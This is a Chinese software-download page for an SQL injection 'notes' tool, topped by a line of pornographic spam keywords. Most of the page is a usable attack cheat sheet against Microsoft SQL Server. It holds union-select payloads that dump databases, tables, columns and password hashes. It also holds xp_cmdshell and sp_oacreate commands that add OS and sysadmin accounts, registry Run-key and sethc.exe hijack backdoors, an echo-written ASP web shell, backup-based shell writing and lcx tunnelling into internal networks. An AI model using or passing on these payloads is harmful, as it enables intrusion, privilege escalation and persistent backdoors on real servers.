亚洲日韩av在线观看_日韩一级欧美一级_亚洲自偷自拍另类11p_久久午夜色播影院_中国黄色三级毛片_伊人久久一区二区三区小说_国产精品va无码二区_国产三区在线视频_69热视频_日本亚洲天堂_99精品少妇_国产区 在线观看_天堂一区二区三区_大片免费在线观看视频_免费看黄色一级片_黄色毛片特级_国产 麻豆 日韩 欧美 久久_国产一级淫片s片sss毛片s级_欧美爱爱视频_精品无码一区二区三区水蜜桃

sql注入工具(菲哥哥注入語句筆記)1.2 綠色版

• 大小：707KB
• 語言：中文
• 平臺：win7, WinAll
• 更新：2014-12-30 14:15
• 等級：
• 類型：安全其他
• 網站：http://www.nkhc168.cn
• 授權：免費軟件
• 廠商：
• 產地：國產軟件

本地下載地址文件大小：707KB

好用 50%(0)

坑爹 50%(0)

相關軟件

• 

  屏幕捕捉工具(S-Demo)2.0 免費安裝版

  /中文/

• 

  時光印記1.0.0.5 正式版

  /中文/

• 

  軟件封裝工具(Inno Setup)5.5.5 中文安裝版

  /中文/

• 

  雨林木風PE工具箱V1.2 FINAL (090220) WLDNA 集成版

  /中文/

• 

  WinSock Expert(網絡協議分析工具)v0.6 beta 1 中文雙語版

  /多國語言[中文]/

• 

  MD5檢驗工具2.0 單文件綠色版

  /中文/

• 

  圖標提取工具(iconsext)1.4 漢化版

  /中文/

• 

  窗口隱藏工具軟件

  /中文/

• 

  QQ提取出來的屏幕截圖工具snapshot1.0 最新版

  /中文/

• 

  金山裝機精靈集成萬能網卡驅動版(裝機必備工具)V1.0.1.231

  /中文/

軟件介紹軟件截圖相關軟件軟件教程網友評論下載地址

相關推薦: sql注入工具 sql注入工具下載 注入語句

菲哥哥注入語句筆記是一款sql注入工具，它可以注入一些要注意的東西，Sql注射經驗，寫成筆記了。

sql注入工具(菲哥哥注入語句筆記)功能介紹：

1.爆所有庫名

+union+select+name,filename,3,4,5+from+master.dbo.sysdatabases

//name數據庫名 filename 數據庫物理路徑

+union+select+name,filename,3,4,5+from+master.dbo.sysdatabases+where+and+dbid=x+filename>0

//爆破數據庫路徑 換dbid值就可以

+union+select+1,(select+name+from+master.dbo.sysdatabases+for+xml+path),3,4,5–

and 0<>db_name(n)–

n改成0,1,2,3……就可以跨庫

2.爆所有表名

+union+select+table_name,2,3,4,5+TABLE_CAtalog,table_schema+from+information_schema.tables–

//table_catalo 保存當前數據庫名稱，table_name 保存當前數據庫中所有表

+select+name,id,crdate,4,5+from+數據庫名.dbo.sysobjects+where+xtype=’u.+and+status>=0–

// name表名 id表的id xtype=’u’ u代表用戶自定義的表 crdate為數據庫的創建時間 ststus>=0

/+union+select+name,object_id,3,4,5+from sys.tables–

3.爆所有字段名

+union+select+name,id,3,4,5+from+數據庫名稱.dbo.syscolumns+where+xtype=167+and+id=5575058–

// id是在爆破表名時候的id值 syscolumns中的id和 sysobjects中的id主外鍵關系

+union+select+name+from+syscolumns+where+charindex(‘pass’,name)>0

//查詢含有 “pass”的字段

+union+SELECT name,2,3,4,5 FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘yixiang_bizre’)

//查詢 yixiang_bizre 表中的所有字段

+union+select+table_name,column_name,3,4,5+from+information_schema.COLUMNS–

//table_name表名稱 column_name字段名

4.添加用戶

1、declare @o int;

2、exec master..sp_oacreate 'Shell.Application',@o out;

3、exec master..sp_oamethod @o,'ShellExecute',NULL,'cmd.exe','/c net user fuck fuck /add

5.判斷是不是SQL庫

and exists（select * from sysobjects）

6.所有賬戶名

+union+select+(select name+’||’+password_hash from+sys.sql_logins for xml path),2,3,4,5+from+sys.sql_logins //

7.加SQL賬戶

1、--創建個登陸mssql的帳號

2、;exec master.dbo.sp_addlogin name,pass;--

3、--把創建的mssql登陸帳號提升到sysadmin

4、;exec master.dbo.sp_addsrvrolemember name,sysadmin;--

8.啟動組寫入命令行和執行

EXEC master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’,’help1′,’REG_SZ’,’cmd.exe /c net user test ptlove /add’-

9.LCX語句

;exec master..xp_cmdshell ‘D:\m目錄\lcx.exe -slave 本機ip 51 目標內網ip 3389′–

//目標機器執行

lcx.exe -listen 51 2007

//本機執行 連接本機的的2007端口就可以了

10.win200爆目錄

xp_regread讀取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots–

//獲取WEB路徑

11.恢復xp_cmdshell

;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’,’e:\inetpub\wwwroot\xplog70.dll’

//把xplog70.dll文件給他上傳到e:\inetpub\wwwroot目錄下了

12.open數據

insert into OPENROWSET(‘SQLOLEDB’, ‘server=ip; uid=user;pwd=123456!’, ‘select c from cmd’) select username from test

//把 test是本地表，中username的值 插入到 遠程cmd表中的c字段里

13.判斷權限

1、+and+1=(select+IS_SRVROLEMEMBER('sysadmin'))--

2、//sa權限

3、and (select IS_MEMBER('db_owner'))=1--   //  dbo

4、and (select IS_MEMBER('public'))=1--  //public

14.DIR目錄

遍歷系統的目錄結構，分析結果并發現WEB虛擬目錄，先創建一個臨時表：

temp http://www.XXXX.com/FullStory.asp?id=1;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));

–接下來：我們可以利用xp_availablemedia來獲得當前所有驅動器,并存入temp表中：http://www.XXXX.com/FullStory.asp?id=1;insert temp exec master.dbo.xp_availablemedia;–? 我們可以通過查詢temp的內容來獲得驅動器列表及相關信息或者利用xp_subdirs獲得子目錄列表,并存入temp表中：http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id) exec master.dbo.xp_subdirs ‘c:\’;–?

我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結構,并寸入temp表中：http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–

這樣就可以成功的瀏覽到所有的目錄（文件夾）列表? 如果我們需要查看某個文件的內容，可以通過執行xp_cmdsell：;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:\web\index.asp’;–?

使用’bulk insert’語法可以將一個文本文件插入到一個臨時表中。

如：bulk insert temp(id) from ‘c:\inetpub\wwwroot\index.asp’ 瀏覽temp就可以看到index.asp文件的內容了！通過分析各種ASP文件，可以得到大量系統信息，WEB建設與管理信息，甚至可以得到SA帳號的連接密碼。

15.判斷站庫分離

+and+host_name()==@@servername--  //判斷站庫是否分離

16.存儲總結

xp_availablemedia 顯示系統上可用的盤符’C:’ xp_availablemedia

xp_enumgroups 列出當前系統的使用群組及其說明 xp_enumgroups

xp_enumdsn 列出系統上已經設置好的ODBC數據源名稱 xp_enumdsn

xp_dirtree 顯示某個目錄下的子目錄與文件架構 xp_dirtree ‘C:\inetpub\wwwroot\’

xp_getfiledetails 獲取某文件的相關屬性 xp_getfiledetails ‘C:\inetpub\wwwroot.asp’

dbp.xp_makecab 將目標計算機多個檔案壓縮到某個檔案里所壓縮的檔案都可以接在參數的后面用豆號隔開

dbp.xp_makecab’C:\lin.cab’,’evil’,1,’C:\inetpub\mdb.asp’

xp_unpackcab 解壓縮 xp_unpackcab ‘C:\hackway.cab’,’C:\temp’,1

xp_ntsec_enumdomains 列出服務器域名 xp_ntsec_enumdomains

xp_servicecontrol 停止或者啟動某個服務 xp_servicecontrol ‘stop’,’schedule’

xp_terminate_process 用pid來停止某個執行中的程序 xp_terminate_process 123

dbo.xp_subdirs 只列某個目錄下的子目錄 dbo.xp_subdirs ‘C:’

17.判斷xp_cmdshell

+and+1=(select+count(*)+FROM+master.dbo.sysobjects+where+xtype+= ‘X’+AND+name+= ‘xp_cmdshell’)

18.判斷系統為win2003

And+charindex('5.3',@@verisdn)

19.echo 寫shell

;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("^)^</script^> >c:\\mu.asp'-

20.停掉服務

exec master..xp_servicecontrol ‘stop’,’schedule’

exec master..xp_servicecontrol ‘start’,’schedule’

有多少刪減。另外添加幾句個人經常用到的SQL注入和提權的語句

當xp_cmshell被刪除或者無法使用的情況，我們不妨試試利用SP_OACreate和SP_OAMETHOD調用系統wscript.shell執行系統命令。

Declare @runshell INT

Exec SP_OACreate ‘wscript.shell’,@runshell out

Exec SP_OAMeTHOD @runshell,’run’,null,’net user lengf lengf /add’

當這些都失敗了，試試關閉系統沙盒模式，它在注冊表的位置是

HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\Engine\SandBoxMode

默認鍵值為2，即只在Access的模式下開啟沙盒模式，對應的鍵值是

0 — 在任何所有者中禁止啟用安全模式

1 –為僅在允許范圍內

2 –必須在access模式下

3 –完全開啟

我們要將其設置為0就可以關閉了，通過SQL語句實現

Exec master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE,’\Software\Microsoft\Jet\4.0\Engine\’,’SandBoxMode’,’REG_DWORD’,0

執行關閉成功后就可以執行系統命令

select * from OpenRowSet(‘Microsoft.Jet.OLEDB.4.0′,’;DataBase=c:\windows\system32\ias\ias.mdb’,’select shell(“net user lengf lengf /add”)’)

上面是提權思路。另外提下兩種備份：

(1)Log備份(hta)

alert database [dbname] set RECOVERY FULL–

create table cmd(a image)–

backup log [dbname] to disk=’c:\hta’ with init–

insert into cmd(a) values(‘[command]‘)–

backup log [dbname] to disk=’系統啟動目錄\hello.hta’–

drop table cmd–

(2)差異備份

backup database [dbname] to disk=’c:\db.bak’–

create table cmd(cmd image)–

insert into cmd(cmd) values(‘[command]‘)–

backup database [dbname] to disk=’系統啟動目錄\hello.hta’ WITH DIFFERENTIAL FORMAT–

drop table cmd–

經驗告訴我，將你要執行的command轉換成十六進制成功率會比較高，但是這個比較被動。

另外就是可以通過注冊表添加run啟動項添加用戶命令，這種也是被動，要等服務器重啟。

看了這個工具，覺得還缺少一個很使用的方法，那就是映像劫持，位于注冊表位置：

HKEY_LOACAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

在這個鍵下面有一個Debugger的參數，如果不為空，就會處理。添加映像劫持方法的SQL語句如下：

exec Master.dbo.xp_regWrite ‘HKEY_LOACAL_MACHINE’,’Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe’,’debugger’,’REG_SZ’,’c:\windows\system32\cmd.exe’

PC官方版

安卓官方手機版

IOS官方手機版

sql注入工具(菲哥哥注入語句筆記)截圖

• 

上一張 1/1 下一張

下載地址

sql注入工具(菲哥哥注入語句筆記) 1.2 綠色版

熱門評論

最新評論

發表評論 查看所有評論(0)

昵稱:

表情:

字數: 0/500 (您的評論需要經過審核才能顯示)

• 注入工具大全

注入工具大全(23) 更多>>

注入工具大全是一款非常好用的注入各種命令的工具，簡單實用，小編整理了本站一些相關的軟件合集，可以適用于大部分領域，包含注入dll，sql等等功能，很多站長都在使用的，可以優化網站的一些性能，使用過程簡單，軟...

• 下載
  DLL動態加載文件注入工具(RemoteDl中文 / 2.6M給大家介紹一款DLL注入工具，輕松
• 下載
  DLL注入工具v1.2.0.2綠色版中文 / 2.5MDLL注入工具可以向其它程序中注入
• 下載
  DLL萬能注入器1.0 免費最新版 【20中文 / 371KB要說現在比較好用的注入器，那還
• 下載
  啟動注入(啟動程序注入DLL)1.10 綠中文 / 791KB啟動注入(啟動程序注入DLL)是一款
• 下載
  紀元2205解包注入工具2.0 綠色版中文 / 8.1M紀元2205解包注入工具下載解壓后
• 下載
  超級SQL注入工具(ssqlinjection)20中文 / 618KB超級SQL注入工具程序運行需要安裝

擴展閱讀

• SQL Server日期計算
• 確定SQL Server填充因子(FILLFACTOR)值的方法
• 標準SQL規范中定義的四個事務隔離級別
• 如何在WCF中用TcpTrace工具查看發送和接收的SOAP消息
• Win2000+Apache+MySql+PHP4+PERL安裝使用小結
• VB實現SQL Server 2000存儲過程調用
• 【秘技】純手工pdf轉word方法,不借助工具
• 軟件站編輯人員必備工具集－迅雷技巧
• 軟件站編輯人員必備工具集-文字編輯工具
• 綜合運用Photoshop鋼筆工具、混合模式和紋理特效 制作一幅科幻電

本類最新軟件

SoftCnKiller流氓軟件檢測工具2.70 免費版 Store-ind聯想軟件管家7.1.30.0428獨立提取版 工行企業網銀控件程序32&64位 工行網銀助手32位2.0 官方正版 工行網銀助手64位2.0 官方正版 360網絡小工具四合一整合端永久免費版 SpyShelter Personal Free9.0 中文版 吾愛免殺工具箱綠色版1.0免費版 異常進程請求攔截工具(OSArmor)1.4 官方版 騰訊哈勃攝像頭安全檢測工具1.0.0.1 最新版 英特爾至尊調優實用程序(英特爾 XTU)6.4.1.23 最新版 文件衛士(電腦文件加密)19.18.00 永久免費版 Abelssoft HackCheck官方版v2018 最新版 InSpectre(CPU漏洞檢測工具)1.0 綠色版 微軟CPU熔斷和幽靈漏洞補丁官方版 關閉特定程序軟件(CloseToQuit)1.0 綠色免費版 IObit Malware Fighter Pro惡意軟件清除5.3.0.4078 中文特別版 desktoplayer專殺工具免費版 IBM Rational AppScan電腦版8.0.491.0免費版 強行修改啟動密碼PC版1.0.0電腦版 向上衛士電腦版2.0專業版

本類軟件推薦

360文檔衛士1.0.0.1023官方最新版 隱身俠(將重要文件夾/文件進行隱藏)6.0.0.2 官方版 路由優化大師(拒絕別人蹭網)4.5.32.275 官網正式版 共享文件夾加密超級大師PC版1.28 官網最新版 凈網衛士電腦版2.1.4.0 PC版 360加固寶pc端(360加固助手)3.2.2.1 官方版 【64/32位】 秘銀保險箱pc版1.5 官方最新版 主頁保安(主頁防篡改工具)1.0 綠色版 北極熊掃描器(網站安全檢測軟件)4.4 官網免費版

編輯推薦

• 火絨互聯網安全軟件6.0.5.3 官方版 46.0M / 03-14 / 6.0.5.3 官方版
• 騰訊電腦管家2025(qq電腦管家)16.7.24363.2 121.5M / 01-02 / 16.7.24363.214 官方正式版
• 360安全衛士2024電腦版14.0.1.1001 正式版 3.3M / 12-31 / 14.0.1.1001 正式版
• 瑞星殺毒軟件V17官方版25.0.9.80 免費版 46.0M / 12-29 / 25.0.9.80 免費版
• 金山毒霸電腦版15.2023.2.4.061900.1335 官 2.4M / 12-29 / 15.2023.2.4.061900.1335 官方版

相關合集

• 電腦清理軟件
• Autodesk全系列注冊機大全
• Autodesk 3ds Max注冊機大全
• WannaCry查殺工具大全
• PPTV會員賬號共享
• 新浪郵箱注冊機
• 路由器密碼查看器
• 視頻vip賬號獲取器
• cryp1文件恢復工具
• md5解密工具類
• win10殺毒軟件
• 電腦隱私保護軟件
• 星號密碼查看器綠色版
• win10反間諜軟件關閉工具
• yy注冊機
• wifi密碼查看器

本類軟件排行

• 1 360游戲保險箱7.3.1.1011 最新版 下載
  1 360游戲保險箱7.3.1.1011 最新版
• 2 易語言防誤報軟件1.0最新免費版 下載
  2 易語言防誤報軟件1.0最新免費版
• 3 MD5校驗工具(MD5 Calculator)1.0.0.0 單文件 下載
  3 MD5校驗工具(MD5 Calculator)1.0.0.0 單文件
• 4 InSpectre(CPU漏洞檢測工具)1.0 綠色版 下載
  4 InSpectre(CPU漏洞檢測工具)1.0 綠色版
• 5 LEU9981隱私和保密自查系統V0.92 綠色最新版 下載
  5 LEU9981隱私和保密自查系統V0.92 綠色最新版
• 6 瑞星升級保姆v2.07i綠色版 下載
  6 瑞星升級保姆v2.07i綠色版
• 7 sql注入檢測工具(網站注入檢測工具)2.0 綠色 下載
  7 sql注入檢測工具(網站注入檢測工具)2.0 綠色
• 8 WFFC超級文件加密器6.0 漢化中文版【安全免 下載
  8 WFFC超級文件加密器6.0 漢化中文版【安全免
• 9 維融金網衛士2.1.004 官網最新版【附安裝升 下載
  9 維融金網衛士2.1.004 官網最新版【附安裝升
• 10 des算法測式工具(DES加密解密算法測試小軟件 下載
  10 des算法測式工具(DES加密解密算法測試小軟件

本類軟件必備

殺毒360殺毒QQ管家百度殺毒密碼QQ相冊密碼wifi密碼網站密碼防火墻avast360防火墻瑞星防火墻安全百度衛士金山衛士小紅傘